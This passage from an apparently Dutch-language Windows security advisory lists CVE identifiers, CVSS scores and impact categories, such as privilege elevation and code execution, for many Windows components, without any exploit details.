\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: 